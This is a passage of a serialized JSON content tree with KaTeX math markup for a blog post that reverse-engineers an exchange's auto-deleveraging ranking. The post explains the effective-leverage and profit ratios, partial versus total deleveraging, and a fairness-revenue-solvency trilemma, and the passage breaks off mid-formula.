",{"type":23,"tag":64,"props":158040,"children":158042},{"className":158041},[],[158043],{"type":28,"value":158044},"abs_notional / account_value",{"type":28,"value":199},{"type":23,"tag":24,"props":158047,"children":158048},{},[158049],{"type":28,"value":158050},"This tells us the risk multiplier that the user took on for this position.",{"type":23,"tag":156578,"props":158052,"children":158056},{"addr":158053,"line-start":158054,"line-end":158055},"0x555556abb140","278","296",[],{"type":23,"tag":31,"props":158058,"children":158060},{"id":158059},"ratio-2-profit-ratio",[158061],{"type":28,"value":158062},"Ratio 2: Profit Ratio",{"type":23,"tag":435,"props":158064,"children":158065},{},[158066],{"type":23,"tag":64,"props":158067,"children":158069},{"className":158068},[1527,156606],[158070],{"type":23,"tag":481,"props":158071,"children":158073},{"className":158072},[156611],[158074],{"type":23,"tag":481,"props":158075,"children":158077},{"className":158076},[1533],[158078],{"type":23,"tag":481,"props":158079,"children":158081},{"className":158080,"ariaHidden":1539},[1538],[158082,158113],{"type":23,"tag":481,"props":158083,"children":158085},{"className":158084},[1544],[158086,158090,158100,158104,158109],{"type":23,"tag":481,"props":158087,"children":158089},{"className":158088,"style":112634},[1549],[],{"type":23,"tag":481,"props":158091,"children":158093},{"className":158092},[1555,28],[158094],{"type":23,"tag":481,"props":158095,"children":158097},{"className":158096},[1555],[158098],{"type":28,"value":158099},"profit ratio",{"type":23,"tag":481,"props":158101,"children":158103},{"className":158102,"style":1734},[1636],[],{"type":23,"tag":481,"props":158105,"children":158107},{"className":158106},[1739],[158108],{"type":28,"value":603},{"type":23,"tag":481,"props":158110,"children":158112},{"className":158111,"style":1734},[1636],[],{"type":23,"tag":481,"props":158114,"children":158116},{"className":158115},[1544],[158117,158121],{"type":23,"tag":481,"props":158118,"children":158120},{"className":158119,"style":156659},[1549],[],{"type":23,"tag":481,"props":158122,"children":158124},{"className":158123},[1555],[158125,158129,158248],{"type":23,"tag":481,"props":158126,"children":158128},{"className":158127},[19215,111097],[],{"type":23,"tag":481,"props":158130,"children":158132},{"className":158131},[111102],[158133],{"type":23,"tag":481,"props":158134,"children":158136},{"className":158135},[1577,19140],[158137,158237],{"type":23,"tag":481,"props":158138,"children":158140},{"className":158139},[1582],[158141,158232],{"type":23,"tag":481,"props":158142,"children":158144},{"className":158143,"style":156684},[1587],[158145,158166,158177],{"type":23,"tag":481,"props":158146,"children":158147},{"style":156688},[158148,158152],{"type":23,"tag":481,"props":158149,"children":158151},{"className":158150,"style":109750},[1596],[],{"type":23,"tag":481,"props":158153,"children":158155},{"className":158154},[1555],[158156],{"type":23,"tag":481,"props":158157,"children":158159},{"className":158158},[1555,28],[158160],{"type":23,"tag":481,"props":158161,"children":158163},{"className":158162},[1555],[158164],{"type":28,"value":158165},"entry notional",{"type":23,"tag":481,"props":158167,"children":158168},{"style":111152},[158169,158173],{"type":23,"tag":481,"props":158170,"children":158172},{"className":158171,"style":109750},[1596],[],{"type":23,"tag":481,"props":158174,"children":158176},{"className":158175,"style":111162},[111161],[],{"type":23,"tag":481,"props":158178,"children":158179},{"style":156739},[158180,158184],{"type":23,"tag":481,"props":158181,"children":158183},{"className":158182,"style":109750},[1596],[],{"type":23,"tag":481,"props":158185,"children":158187},{"className":158186},[1555],[158188,158194,158199,158209,158214,158218,158222,158227],{"type":23,"tag":481,"props":158189,"children":158191},{"className":158190},[19122],[158192],{"type":28,"value":158193},"max",{"type":23,"tag":481,"props":158195,"children":158197},{"className":158196},[19215],[158198],{"type":28,"value":618},{"type":23,"tag":481,"props":158200,"children":158202},{"className":158201},[1555,28],[158203],{"type":23,"tag":481,"props":158204,"children":158206},{"className":158205},[1555],[158207],{"type":28,"value":158208},"pnl",{"type":23,"tag":481,"props":158210,"children":158212},{"className":158211},[1668],[158213],{"type":28,"value":1671},{"type":23,"tag":481,"props":158215,"children":158217},{"className":158216,"style":1675},[1636],[],{"type":23,"tag":481,"props":158219,"children":158221},{"className":158220,"style":1675},[1636],[],{"type":23,"tag":481,"props":158223,"children":158225},{"className":158224},[1555],[158226],{"type":28,"value":1568},{"type":23,"tag":481,"props":158228,"children":158230},{"className":158229},[19237],[158231],{"type":28,"value":642},{"type":23,"tag":481,"props":158233,"children":158235},{"className":158234},[19243],[158236],{"type":28,"value":19246},{"type":23,"tag":481,"props":158238,"children":158240},{"className":158239},[1582],[158241],{"type":23,"tag":481,"props":158242,"children":158244},{"className":158243,"style":156782},[1587],[158245],{"type":23,"tag":481,"props":158246,"children":158247},{},[],{"type":23,"tag":481,"props":158249,"children":158251},{"className":158250},[19237,111097],[],{"type":23,"tag":24,"props":158253,"children":158254},{},[158255,158257,158263],{"type":28,"value":158256},"It uses entry notional (",{"type":23,"tag":64,"props":158258,"children":158260},{"className":158259},[],[158261],{"type":28,"value":158262},"r14_2",{"type":28,"value":158264},") as the divisor. PNL is clamped to non-negative before division.",{"type":23,"tag":24,"props":158266,"children":158267},{},[158268],{"type":28,"value":158269},"This basically tells us how well the user's bet went.",{"type":23,"tag":156578,"props":158271,"children":158275},{"addr":158272,"addr-start":158273,"addr-end":158274},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":23,"tag":24,"props":158277,"children":158278},{},[158279,158281,158287,158289,158295],{"type":28,"value":158280},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":23,"tag":64,"props":158282,"children":158284},{"className":158283},[],[158285],{"type":28,"value":158286},"1e-8",{"type":28,"value":158288},", in order not to cancel each other out. The final ADL ranking score is ",{"type":23,"tag":64,"props":158290,"children":158292},{"className":158291},[],[158293],{"type":28,"value":158294},"effective_leverage * profit_ratio",{"type":28,"value":158296},", consistent with both ratio directions and the max clamp on PNL.",{"type":23,"tag":24,"props":158298,"children":158299},{},[158300],{"type":28,"value":158301},"So, in essence, we look for risky and profitable positions!",{"type":23,"tag":7092,"props":158303,"children":158305},{"id":158304},"partial-and-total-adl",[158306],{"type":28,"value":158307},"Partial and Total ADL",{"type":23,"tag":24,"props":158309,"children":158310},{},[158311],{"type":28,"value":158312},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":23,"tag":24,"props":158314,"children":158315},{},[158316],{"type":28,"value":158317},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":23,"tag":24,"props":158319,"children":158320},{},[158321,158323,158328],{"type":28,"value":158322},"So essentially, in pseudocode, the whole latter part of ",{"type":23,"tag":64,"props":158324,"children":158326},{"className":158325},[],[158327],{"type":28,"value":156903},{"type":28,"value":158329}," boils down to:",{"type":23,"tag":156578,"props":158331,"children":158334},{"addr":156949,"line-start":158332,"line-end":158333},"3252","3632",[],{"type":23,"tag":24,"props":158336,"children":158337},{},[158338],{"type":28,"value":158339},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":23,"tag":32890,"props":158341,"children":158343},{"id":158342},"branches",[158344],{"type":28,"value":158345},"Branches",{"type":23,"tag":24,"props":158347,"children":158348},{},[158349],{"type":28,"value":158350},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":23,"tag":24,"props":158352,"children":158353},{},[158354],{"type":28,"value":158355},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":23,"tag":32890,"props":158357,"children":158359},{"id":158358},"financial-conclusions",[158360],{"type":28,"value":158361},"Financial Conclusions",{"type":23,"tag":31,"props":158363,"children":158365},{"id":158364},"fairness-revenue-solvency-trilemma",[158366],{"type":28,"value":158367},"Fairness, Revenue, Solvency Trilemma",{"type":23,"tag":24,"props":158369,"children":158370},{},[158371,158373,158379],{"type":28,"value":158372},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":23,"tag":190,"props":158374,"children":158376},{"href":157731,"rel":158375},[194],[158377],{"type":28,"value":158378},"the paper mentioned before",{"type":28,"value":158380},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":23,"tag":14178,"props":158382,"children":158383},{},[158384,158394,158404],{"type":23,"tag":77,"props":158385,"children":158386},{},[158387,158392],{"type":23,"tag":127,"props":158388,"children":158389},{},[158390],{"type":28,"value":158391},"Solvency",{"type":28,"value":158393},": can the platform pay every trader out?",{"type":23,"tag":77,"props":158395,"children":158396},{},[158397,158402],{"type":23,"tag":127,"props":158398,"children":158399},{},[158400],{"type":28,"value":158401},"Fairness",{"type":28,"value":158403},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":23,"tag":77,"props":158405,"children":158406},{},[158407,158412],{"type":23,"tag":127,"props":158408,"children":158409},{},[158410],{"type":28,"value":158411},"Revenue",{"type":28,"value":158413},": the fraction of total winner PNL that survives after deleveraging.",{"type":23,"tag":24,"props":158415,"children":158416},{},[158417],{"type":28,"value":158418},"Let's borrow these definitions from the paper:",{"type":23,"tag":435,"props":158420,"children":158421},{},[158422],{"type":23,"tag":64,"props":158423,"children":158425},{"className":158424},[1527,156606],[158426],{"type":23,"tag":481,"props":158427,"children":158429},{"className":158428},[156611],[158430],{"type":23,"tag":481,"props":158431,"children":158433},{"className":158432},[1533],[158434],{"type":23,"tag":481,"props":158435,"children":158437},{"className":158436,"ariaHidden":1539},[1538],[158438],{"type":23,"tag":481,"props":158439,"children":158441},{"className":158440},[1544],[158442,158447],{"type":23,"tag":481,"props":158443,"children":158446},{"className":158444,"style":158445},[1549],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":23,"tag":481,"props":158448,"children":158450},{"className":158449},[1555],[158451],{"type":23,"tag":481,"props":158452,"children":158454},{"className":158453},[157308],[158455,159274],{"type":23,"tag":481,"props":158456,"children":158458},{"className":158457},[157313],[158459],{"type":23,"tag":481,"props":158460,"children":158462},{"className":158461},[1577,19140],[158463,159262],{"type":23,"tag":481,"props":158464,"children":158466},{"className":158465},[1582],[158467,159257],{"type":23,"tag":481,"props":158468,"children":158471},{"className":158469,"style":158470},[1587],"height:11.8392em;",[158472,158543,158560,158629,158699,158768,158838,158907,158976,159045,159115,159186],{"type":23,"tag":481,"props":158473,"children":158475},{"style":158474},"top:-14.3707em;",[158476,158481],{"type":23,"tag":481,"props":158477,"children":158480},{"className":158478,"style":158479},[1596],"height:3.3714em;",[],{"type":23,"tag":481,"props":158482,"children":158484},{"className":158483},[1555],[158485],{"type":23,"tag":481,"props":158486,"children":158488},{"className":158487},[1555],[158489,158494],{"type":23,"tag":481,"props":158490,"children":158492},{"className":158491,"style":19087},[1555,19086],[158493],{"type":28,"value":19090},{"type":23,"tag":481,"props":158495,"children":158497},{"className":158496},[1572],[158498],{"type":23,"tag":481,"props":158499,"children":158501},{"className":158500},[1577,19140],[158502,158532],{"type":23,"tag":481,"props":158503,"children":158505},{"className":158504},[1582],[158506,158527],{"type":23,"tag":481,"props":158507,"children":158509},{"className":158508,"style":107011},[1587],[158510],{"type":23,"tag":481,"props":158511,"children":158513},{"style":158512},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[158514,158518],{"type":23,"tag":481,"props":158515,"children":158517},{"className":158516,"style":1597},[1596],[],{"type":23,"tag":481,"props":158519,"children":158521},{"className":158520},[1602,1603,1604,1605],[158522],{"type":23,"tag":481,"props":158523,"children":158525},{"className":158524},[1555,19086,1605],[158526],{"type":28,"value":53930},{"type":23,"tag":481,"props":158528,"children":158530},{"className":158529},[19243],[158531],{"type":28,"value":19246},{"type":23,"tag":481,"props":158533,"children":158535},{"className":158534},[1582],[158536],{"type":23,"tag":481,"props":158537,"children":158539},{"className":158538,"style":90662},[1587],[158540],{"type":23,"tag":481,"props":158541,"children":158542},{},[],{"type":23,"tag":481,"props":158544,"children":158546},{"style":158545},"top:-12.8707em;",[158547,158551],{"type":23,"tag":481,"props":158548,"children":158550},{"className":158549,"style":158479},[1596],[],{"type":23,"tag":481,"props":158552,"children":158554},{"className":158553},[1555],[158555],{"type":23,"tag":481,"props":158556,"children":158558},{"className":158557,"style":92599},[1555,19086],[158559],{"type":28,"value":92633},{"type":23,"tag":481,"props":158561,"children":158563},{"style":158562},"top:-10.8392em;",[158564,158568],{"type":23,"tag":481,"props":158565,"children":158567},{"className":158566,"style":158479},[1596],[],{"type":23,"tag":481,"props":158569,"children":158571},{"className":158570},[1555],[158572],{"type":23,"tag":481,"props":158573,"children":158575},{"className":158574},[1555],[158576,158581],{"type":23,"tag":481,"props":158577,"children":158579},{"className":158578},[1555,19086],[158580],{"type":28,"value":661},{"type":23,"tag":481,"props":158582,"children":158584},{"className":158583},[1572],[158585],{"type":23,"tag":481,"props":158586,"children":158588},{"className":158587},[1577,19140],[158589,158618],{"type":23,"tag":481,"props":158590,"children":158592},{"className":158591},[1582],[158593,158613],{"type":23,"tag":481,"props":158594,"children":158596},{"className":158595,"style":91108},[1587],[158597],{"type":23,"tag":481,"props":158598,"children":158599},{"style":90635},[158600,158604],{"type":23,"tag":481,"props":158601,"children":158603},{"className":158602,"style":1597},[1596],[],{"type":23,"tag":481,"props":158605,"children":158607},{"className":158606},[1602,1603,1604,1605],[158608],{"type":23,"tag":481,"props":158609,"children":158611},{"className":158610},[1555,19086,1605],[158612],{"type":28,"value":1274},{"type":23,"tag":481,"props":158614,"children":158616},{"className":158615},[19243],[158617],{"type":28,"value":19246},{"type":23,"tag":481,"props":158619,"children":158621},{"className":158620},[1582],[158622],{"type":23,"tag":481,"props":158623,"children":158625},{"className":158624,"style":90662},[1587],[158626],{"type":23,"tag":481,"props":158627,"children":158628},{},[],{"type":23,"tag":481,"props":158630,"children":158632},{"style":158631},"top:-8.8188em;",[158633,158637],{"type":23,"tag":481,"props":158634,"children":158636},{"className":158635,"style":158479},[1596],[],{"type":23,"tag":481,"props":158638,"children":158640},{"className":158639},[1555],[158641],{"type":23,"tag":481,"props":158642,"children":158644},{"className":158643},[1555],[158645,158651],{"type":23,"tag":481,"props":158646,"children":158648},{"className":158647,"style":91065},[1555,19086],[158649],{"type":28,"value":158650},"π",{"type":23,"tag":481,"props":158652,"children":158654},{"className":158653},[1572],[158655],{"type":23,"tag":481,"props":158656,"children":158658},{"className":158657},[1577,19140],[158659,158688],{"type":23,"tag":481,"props":158660,"children":158662},{"className":158661},[1582],[158663,158683],{"type":23,"tag":481,"props":158664,"children":158666},{"className":158665,"style":91108},[1587],[158667],{"type":23,"tag":481,"props":158668,"children":158669},{"style":91112},[158670,158674],{"type":23,"tag":481,"props":158671,"children":158673},{"className":158672,"style":1597},[1596],[],{"type":23,"tag":481,"props":158675,"children":158677},{"className":158676},[1602,1603,1604,1605],[158678],{"type":23,"tag":481,"props":158679,"children":158681},{"className":158680},[1555,19086,1605],[158682],{"type":28,"value":1274},{"type":23,"tag":481,"props":158684,"children":158686},{"className":158685},[19243],[158687],{"type":28,"value":19246},{"type":23,"tag":481,"props":158689,"children":158691},{"className":158690},[1582],[158692],{"type":23,"tag":481,"props":158693,"children":158695},{"className":158694,"style":90662},[1587],[158696],{"type":23,"tag":481,"props":158697,"children":158698},{},[],{"type":23,"tag":481,"props":158700,"children":158702},{"style":158701},"top:-7.3188em;",[158703,158707],{"type":23,"tag":481,"props":158704,"children":158706},{"className":158705,"style":158479},[1596],[],{"type":23,"tag":481,"props":158708,"children":158710},{"className":158709},[1555],[158711],{"type":23,"tag":481,"props":158712,"children":158714},{"className":158713},[1555],[158715,158720],{"type":23,"tag":481,"props":158716,"children":158718},{"className":158717},[1555,19086],[158719],{"type":28,"value":48980},{"type":23,"tag":481,"props":158721,"children":158723},{"className":158722},[1572],[158724],{"type":23,"tag":481,"props":158725,"children":158727},{"className":158726},[1577,19140],[158728,158757],{"type":23,"tag":481,"props":158729,"children":158731},{"className":158730},[1582],[158732,158752],{"type":23,"tag":481,"props":158733,"children":158735},{"className":158734,"style":91108},[1587],[158736],{"type":23,"tag":481,"props":158737,"children":158738},{"style":90635},[158739,158743],{"type":23,"tag":481,"props":158740,"children":158742},{"className":158741,"style":1597},[1596],[],{"type":23,"tag":481,"props":158744,"children":158746},{"className":158745},[1602,1603,1604,1605],[158747],{"type":23,"tag":481,"props":158748,"children":158750},{"className":158749},[1555,19086,1605],[158751],{"type":28,"value":1274},{"type":23,"tag":481,"props":158753,"children":158755},{"className":158754},[19243],[158756],{"type":28,"value":19246},{"type":23,"tag":481,"props":158758,"children":158760},{"className":158759},[1582],[158761],{"type":23,"tag":481,"props":158762,"children":158764},{"className":158763,"style":90662},[1587],[158765],{"type":23,"tag":481,"props":158766,"children":158767},{},[],{"type":23,"tag":481,"props":158769,"children":158771},{"style":158770},"top:-5.8188em;",[158772,158776],{"type":23,"tag":481,"props":158773,"children":158775},{"className":158774,"style":158479},[1596],[],{"type":23,"tag":481,"props":158777,"children":158779},{"className":158778},[1555],[158780],{"type":23,"tag":481,"props":158781,"children":158783},{"className":158782},[1555],[158784,158789],{"type":23,"tag":481,"props":158785,"children":158787},{"className":158786,"style":119859},[1555,19086],[158788],{"type":28,"value":47097},{"type":23,"tag":481,"props":158790,"children":158792},{"className":158791},[1572],[158793],{"type":23,"tag":481,"props":158794,"children":158796},{"className":158795},[1577,19140],[158797,158827],{"type":23,"tag":481,"props":158798,"children":158800},{"className":158799},[1582],[158801,158822],{"type":23,"tag":481,"props":158802,"children":158804},{"className":158803,"style":91108},[1587],[158805],{"type":23,"tag":481,"props":158806,"children":158808},{"style":158807},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[158809,158813],{"type":23,"tag":481,"props":158810,"children":158812},{"className":158811,"style":1597},[1596],[],{"type":23,"tag":481,"props":158814,"children":158816},{"className":158815},[1602,1603,1604,1605],[158817],{"type":23,"tag":481,"props":158818,"children":158820},{"className":158819},[1555,19086,1605],[158821],{"type":28,"value":1274},{"type":23,"tag":481,"props":158823,"children":158825},{"className":158824},[19243],[158826],{"type":28,"value":19246},{"type":23,"tag":481,"props":158828,"children":158830},{"className":158829},[1582],[158831],{"type":23,"tag":481,"props":158832,"children":158834},{"className":158833,"style":90662},[1587],[158835],{"type":23,"tag":481,"props":158836,"children":158837},{},[],{"type":23,"tag":481,"props":158839,"children":158841},{"style":158840},"top:-4.3188em;",[158842,158846],{"type":23,"tag":481,"props":158843,"children":158845},{"className":158844,"style":158479},[1596],[],{"type":23,"tag":481,"props":158847,"children":158849},{"className":158848},[1555],[158850],{"type":23,"tag":481,"props":158851,"children":158853},{"className":158852},[1555],[158854,158859],{"type":23,"tag":481,"props":158855,"children":158857},{"className":158856},[1555,19086],[158858],{"type":28,"value":16772},{"type":23,"tag":481,"props":158860,"children":158862},{"className":158861},[1572],[158863],{"type":23,"tag":481,"props":158864,"children":158866},{"className":158865},[1577,19140],[158867,158896],{"type":23,"tag":481,"props":158868,"children":158870},{"className":158869},[1582],[158871,158891],{"type":23,"tag":481,"props":158872,"children":158874},{"className":158873,"style":91108},[1587],[158875],{"type":23,"tag":481,"props":158876,"children":158877},{"style":90635},[158878,158882],{"type":23,"tag":481,"props":158879,"children":158881},{"className":158880,"style":1597},[1596],[],{"type":23,"tag":481,"props":158883,"children":158885},{"className":158884},[1602,1603,1604,1605],[158886],{"type":23,"tag":481,"props":158887,"children":158889},{"className":158888},[1555,19086,1605],[158890],{"type":28,"value":1274},{"type":23,"tag":481,"props":158892,"children":158894},{"className":158893},[19243],[158895],{"type":28,"value":19246},{"type":23,"tag":481,"props":158897,"children":158899},{"className":158898},[1582],[158900],{"type":23,"tag":481,"props":158901,"children":158903},{"className":158902,"style":90662},[1587],[158904],{"type":23,"tag":481,"props":158905,"children":158906},{},[],{"type":23,"tag":481,"props":158908,"children":158910},{"style":158909},"top:-2.5512em;",[158911,158915],{"type":23,"tag":481,"props":158912,"children":158914},{"className":158913,"style":158479},[1596],[],{"type":23,"tag":481,"props":158916,"children":158918},{"className":158917},[1555],[158919],{"type":23,"tag":481,"props":158920,"children":158922},{"className":158921},[1555],[158923,158928],{"type":23,"tag":481,"props":158924,"children":158926},{"className":158925},[1555,19086],[158927],{"type":28,"value":81877},{"type":23,"tag":481,"props":158929,"children":158931},{"className":158930},[1572],[158932],{"type":23,"tag":481,"props":158933,"children":158935},{"className":158934},[1577,19140],[158936,158965],{"type":23,"tag":481,"props":158937,"children":158939},{"className":158938},[1582],[158940,158960],{"type":23,"tag":481,"props":158941,"children":158943},{"className":158942,"style":91108},[1587],[158944],{"type":23,"tag":481,"props":158945,"children":158946},{"style":90635},[158947,158951],{"type":23,"tag":481,"props":158948,"children":158950},{"className":158949,"style":1597},[1596],[],{"type":23,"tag":481,"props":158952,"children":158954},{"className":158953},[1602,1603,1604,1605],[158955],{"type":23,"tag":481,"props":158956,"children":158958},{"className":158957},[1555,19086,1605],[158959],{"type":28,"value":1274},{"type":23,"tag":481,"props":158961,"children":158963},{"className":158962},[19243],[158964],{"type":28,"value":19246},{"type":23,"tag":481,"props":158966,"children":158968},{"className":158967},[1582],[158969],{"type":23,"tag":481,"props":158970,"children":158972},{"className":158971,"style":90662},[1587],[158973],{"type":23,"tag":481,"props":158974,"children":158975},{},[],{"type":23,"tag":481,"props":158977,"children":158979},{"style":158978},"top:-0.3652em;",[158980,158984],{"type":23,"tag":481,"props":158981,"children":158983},{"className":158982,"style":158479},[1596],[],{"type":23,"tag":481,"props":158985,"children":158987},{"className":158986},[1555],[158988],{"type":23,"tag":481,"props":158989,"children":158991},{"className":158990},[1555],[158992,158997],{"type":23,"tag":481,"props":158993,"children":158995},{"className":158994,"style":90813},[1555,19086],[158996],{"type":28,"value":90816},{"type":23,"tag":481,"props":158998,"children":159000},{"className":158999},[1572],[159001],{"type":23,"tag":481,"props":159002,"children":159004},{"className":159003},[1577,19140],[159005,159034],{"type":23,"tag":481,"props":159006,"children":159008},{"className":159007},[1582],[159009,159029],{"type":23,"tag":481,"props":159010,"children":159012},{"className":159011,"style":140134},[1587],[159013],{"type":23,"tag":481,"props":159014,"children":159015},{"style":108008},[159016,159020],{"type":23,"tag":481,"props":159017,"children":159019},{"className":159018,"style":1597},[1596],[],{"type":23,"tag":481,"props":159021,"children":159023},{"className":159022},[1602,1603,1604,1605],[159024],{"type":23,"tag":481,"props":159025,"children":159027},{"className":159026,"style":19087},[1555,19086,1605],[159028],{"type":28,"value":3464},{"type":23,"tag":481,"props":159030,"children":159032},{"className":159031},[19243],[159033],{"type":28,"value":19246},{"type":23,"tag":481,"props":159035,"children":159037},{"className":159036},[1582],[159038],{"type":23,"tag":481,"props":159039,"children":159041},{"className":159040,"style":90662},[1587],[159042],{"type":23,"tag":481,"props":159043,"children":159044},{},[],{"type":23,"tag":481,"props":159046,"children":159048},{"style":159047},"top:2.2624em;",[159049,159053],{"type":23,"tag":481,"props":159050,"children":159052},{"className":159051,"style":158479},[1596],[],{"type":23,"tag":481,"props":159054,"children":159056},{"className":159055},[1555],[159057],{"type":23,"tag":481,"props":159058,"children":159060},{"className":159059},[1555],[159061,159067],{"type":23,"tag":481,"props":159062,"children":159064},{"className":159063,"style":90579},[1555,19086],[159065],{"type":28,"value":159066},"D",{"type":23,"tag":481,"props":159068,"children":159070},{"className":159069},[1572],[159071],{"type":23,"tag":481,"props":159072,"children":159074},{"className":159073},[1577,19140],[159075,159104],{"type":23,"tag":481,"props":159076,"children":159078},{"className":159077},[1582],[159079,159099],{"type":23,"tag":481,"props":159080,"children":159082},{"className":159081,"style":140134},[1587],[159083],{"type":23,"tag":481,"props":159084,"children":159085},{"style":107578},[159086,159090],{"type":23,"tag":481,"props":159087,"children":159089},{"className":159088,"style":1597},[1596],[],{"type":23,"tag":481,"props":159091,"children":159093},{"className":159092},[1602,1603,1604,1605],[159094],{"type":23,"tag":481,"props":159095,"children":159097},{"className":159096,"style":19087},[1555,19086,1605],[159098],{"type":28,"value":3464},{"type":23,"tag":481,"props":159100,"children":159102},{"className":159101},[19243],[159103],{"type":28,"value":19246},{"type":23,"tag":481,"props":159105,"children":159107},{"className":159106},[1582],[159108],{"type":23,"tag":481,"props":159109,"children":159111},{"className":159110,"style":90662},[1587],[159112],{"type":23,"tag":481,"props":159113,"children":159114},{},[],{"type":23,"tag":481,"props":159116,"children":159118},{"style":159117},"top:4.8901em;",[159119,159123],{"type":23,"tag":481,"props":159120,"children":159122},{"className":159121,"style":158479},[1596],[],{"type":23,"tag":481,"props":159124,"children":159126},{"className":159125},[1555],[159127],{"type":23,"tag":481,"props":159128,"children":159130},{"className":159129},[1555],[159131,159137],{"type":23,"tag":481,"props":159132,"children":159134},{"className":159133,"style":92587},[1555,19086],[159135],{"type":28,"value":159136},"U",{"type":23,"tag":481,"props":159138,"children":159140},{"className":159139},[1572],[159141],{"type":23,"tag":481,"props":159142,"children":159144},{"className":159143},[1577,19140],[159145,159175],{"type":23,"tag":481,"props":159146,"children":159148},{"className":159147},[1582],[159149,159170],{"type":23,"tag":481,"props":159150,"children":159152},{"className":159151,"style":140134},[1587],[159153],{"type":23,"tag":481,"props":159154,"children":159156},{"style":159155},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[159157,159161],{"type":23,"tag":481,"props":159158,"children":159160},{"className":159159,"style":1597},[1596],[],{"type":23,"tag":481,"props":159162,"children":159164},{"className":159163},[1602,1603,1604,1605],[159165],{"type":23,"tag":481,"props":159166,"children":159168},{"className":159167,"style":19087},[1555,19086,1605],[159169],{"type":28,"value":3464},{"type":23,"tag":481,"props":159171,"children":159173},{"className":159172},[19243],[159174],{"type":28,"value":19246},{"type":23,"tag":481,"props":159176,"children":159178},{"className":159177},[1582],[159179],{"type":23,"tag":481,"props":159180,"children":159182},{"className":159181,"style":90662},[1587],[159183],{"type":23,"tag":481,"props":159184,"children":159185},{},[],{"type":23,"tag":481,"props":159187,"children":159189},{"style":159188},"top:7.3078em;",[159190,159194],{"type":23,"tag":481,"props":159191,"children":159193},{"className":159192,"style":158479},[1596],[],{"type":23,"tag":481,"props":159195,"children":159197},{"className":159196},[1555],[159198],{"type":23,"tag":481,"props":159199,"children":159201},{"className":159200},[1555],[159202,159207],{"type":23,"tag":481,"props":159203,"children":159205},{"className":159204,"style":120356},[1555,19086],[159206],{"type":28,"value":120359},{"type":23,"tag":481,"props":159208,"children":159210},{"className":159209},[1572],[159211],{"type":23,"tag":481,"props":159212,"children":159214},{"className":159213},[1577,19140],[159215,159246],{"type":23,"tag":481,"props":159216,"children":159218},{"className":159217},[1582],[159219,159241],{"type":23,"tag":481,"props":159220,"children":159223},{"className":159221,"style":159222},[1587],"height:0.2806em;",[159224],{"type":23,"tag":481,"props":159225,"children":159227},{"style":159226},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[159228,159232],{"type":23,"tag":481,"props":159229,"children":159231},{"className":159230,"style":1597},[1596],[],{"type":23,"tag":481,"props":159233,"children":159235},{"className":159234},[1602,1603,1604,1605],[159236],{"type":23,"tag":481,"props":159237,"children":159239},{"className":159238},[1555,19086,1605],[159240],{"type":28,"value":19228},{"type":23,"tag":481,"props":159242,"children":159244},{"className":159243},[19243],[159245],{"type":28,"value":19246},{"type":23,"tag":481,"props":159247,"children":159249},{"className":159248},[1582],[159250],{"type":23,"tag":481,"props":159251,"children":159253},{"className":159252,"style":90662},[1587],[159254],{"type":23,"tag":481,"props":159255,"children":159256},{},[],{"type":23,"tag":481,"props":159258,"children":159260},{"className":159259},[19243],[159261],{"type":28,"value":19246},{"type":23,"tag":481,"props":159263,"children":159265},{"className":159264},[1582],[159266],{"type":23,"tag":481,"props":159267,"children":159270},{"className":159268,"style":159269},[1587],"height:11.3392em;",[159271],{"type":23,"tag":481,"props":159272,"children":159273},{},[],{"type":23,"tag":481,"props":159275,"children":159277},{"className":159276},[157393],[159278],{"type":23,"tag":481,"props":159279,"children":159281},{"className":159280},[1577,19140],[159282,160984],{"type":23,"tag":481,"props":159283,"children":159285},{"className":159284},[1582],[159286,160979],{"type":23,"tag":481,"props":159287,"children":159289},{"className":159288,"style":158470},[1587],[159290,159328,159366,159513,159748,159903,160008,160051,160272,160431,160621,160773],{"type":23,"tag":481,"props":159291,"children":159292},{"style":158474},[159293,159297],{"type":23,"tag":481,"props":159294,"children":159296},{"className":159295,"style":158479},[1596],[],{"type":23,"tag":481,"props":159298,"children":159300},{"className":159299},[1555],[159301,159305,159309,159314,159318],{"type":23,"tag":481,"props":159302,"children":159304},{"className":159303},[1555],[],{"type":23,"tag":481,"props":159306,"children":159308},{"className":159307,"style":1734},[1636],[],{"type":23,"tag":481,"props":159310,"children":159312},{"className":159311},[1739],[159313],{"type":28,"value":19105},{"type":23,"tag":481,"props":159315,"children":159317},{"className":159316,"style":1734},[1636],[],{"type":23,"tag":481,"props":159319,"children":159321},{"className":159320},[1555,28],[159322],{"type":23,"tag":481,"props":159323,"children":159325},{"className":159324},[1555],[159326],{"type":28,"value":159327},"mark price",{"type":23,"tag":481,"props":159329,"children":159330},{"style":158545},[159331,159335],{"type":23,"tag":481,"props":159332,"children":159334},{"className":159333,"style":158479},[1596],[],{"type":23,"tag":481,"props":159336,"children":159338},{"className":159337},[1555],[159339,159343,159347,159352,159356],{"type":23,"tag":481,"props":159340,"children":159342},{"className":159341},[1555],[],{"type":23,"tag":481,"props":159344,"children":159346},{"className":159345,"style":1734},[1636],[],{"type":23,"tag":481,"props":159348,"children":159350},{"className":159349},[1739],[159351],{"type":28,"value":19105},{"type":23,"tag":481,"props":159353,"children":159355},{"className":159354,"style":1734},[1636],[],{"type":23,"tag":481,"props":159357,"children":159359},{"className":159358},[1555,28],[159360],{"type":23,"tag":481,"props":159361,"children":159363},{"className":159362},[1555],[159364],{"type":28,"value":159365},"insurance 